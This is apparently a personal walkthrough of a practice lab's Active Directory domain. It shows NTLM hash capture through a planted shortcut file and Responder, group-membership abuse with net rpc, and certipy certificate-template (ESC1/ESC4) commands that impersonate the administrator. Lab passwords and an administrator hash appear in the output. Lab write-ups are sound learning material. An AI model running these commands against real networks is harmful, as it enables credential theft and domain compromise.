Important.txt indicates that every employee should regularly check the Documents folder regularly (for new compliance documents). Since we have write access, we can plan an attack here.
Create a malicious INK file using the ntml_theft tool.
Spin up responder to get a callback from victim having their NTML hash.
Crack the hash to get the password in plaintext.
Remote access is not enabled for this user, so these credentials cannot be used to gain entry into the box. Let's keep digging!
Let's use bloodhound-python to get more vectors on lateral movement.
Findings of BloodHound
TRACY.WHITE@NARA-SECURITY.COM has GenericAll privileges to the group REMOTE ACCESS@NARA-SECURITY.COM
To abuse this permission, we can add ourselves to the Remote Access Group and gain an initial foothold into the machine via winrm
Now we can winrm into the machine.
Got a file in automation.txt in "C:Users\Tracy.White\Documents".
This appear to be a encrypted password. We can use this script to decrypt it
Sadly, this user had no interesting misconfiguration listed by Bloodhound :(
Privilege Escalation/Lateral Movement
From here, I had to refer to Walkthrough for further impersonating privilege as an administrator. 😿
It turns out there is a CA on a Domain Controller. We can use certipy-adto get more vector of lateral movement.
BloodHound UI shows that the Enrollment group as GenericAll on the NARAUSER template, which is also known as the ESC4 scenario (full control over a template). Additionally, any user-supplied subject is allowed, so it is also directly vulnerable to ESC1 from any user in the enrollment group.
# using `net rpc` to add Tracy into Remote Access Group
net rpc group addmem 'Remote Access' 'Tracy.White' -U nara-security.com/'Tracy.White' -S 192.168.181.30
# Double-check if the user has been added
net rpc group members "Remote Access" -U nara-security.com/'Tracy.White'-S 192.168.191.30
>
Password for [NARA-SECURITY.COM\Tracy.White]:
NARASEC\Jodie.Summers
NARASEC\Tracy.White
$pwd = Get-Content cred.txt | ConvertTo-SecureString
[System.Net.NetworkCredential]::new("", $pwd).Password
# Got password in plain text
hHO_S9gff7ehXw
# Using cme to check which user this password belong to
crackmapexec smb 192.168.45.244 -u user.txt -p 'hHO_S9gff7ehXw' --continue-on-success
# Got the user
jodie.summers
hHO_S9gff7ehXw
# We need to use -old-bloodhound flag so we can import the json or ZIP
# into bloodhound UI
certipy-ad find -u JODIE.SUMMERS -p 'hHO_S9gff7ehXw' -dc-ip nara-security.com -dns-tcp -ns 172.16.201.26 -bloodhound
# Let's impersonate the admin
certipy-ad req -username JODIE.SUMMERS -password 'hHO_S9gff7ehXw' \n
-target nara-security.com -ca NARA-CA -template NARAUSER \n
-upn administrator@nara-security.com -dc-ip 192.168.172.30 -debug
>
...
[*] Saved certificate and private key to 'administrator.pfx'
certipy auth -pfx administrator.pfx -domain nara-security.com -username administrator -dc-ip 172.16.201.26
...
[*] Got hash for 'administrator@nara-security.com': aad3b435b51404eeaad3b435b51404ee:d35c4ae45bdd10a4e28ff529a2155745
# For me, I was getting the following error, which could be due to
# some problem in the machine.
sudo certipy-ad req -username JODIE.SUMMERS -password 'hHO_S9gff7ehXw' -target nara-security.com -ca NARA-CA -template NARAUSER -upn administrator@nara-security.com -dc-ip 192.168.172.30 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'nara-security.com' at '192.168.172.30'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:192.168.172.30[\pipe\cert]
[+] Connected to endpoint: ncacn_np:192.168.172.30[\pipe\cert]
[-] Got error while trying to request certificate: code: 0x80092013 - CRYPT_E_REVOCATION_OFFLINE - The revocation function was unable to check revocation because the revocation server was offline.
[*] Request ID is 10
Would you like to save the private key? (y/N)
[-] Failed to request certificate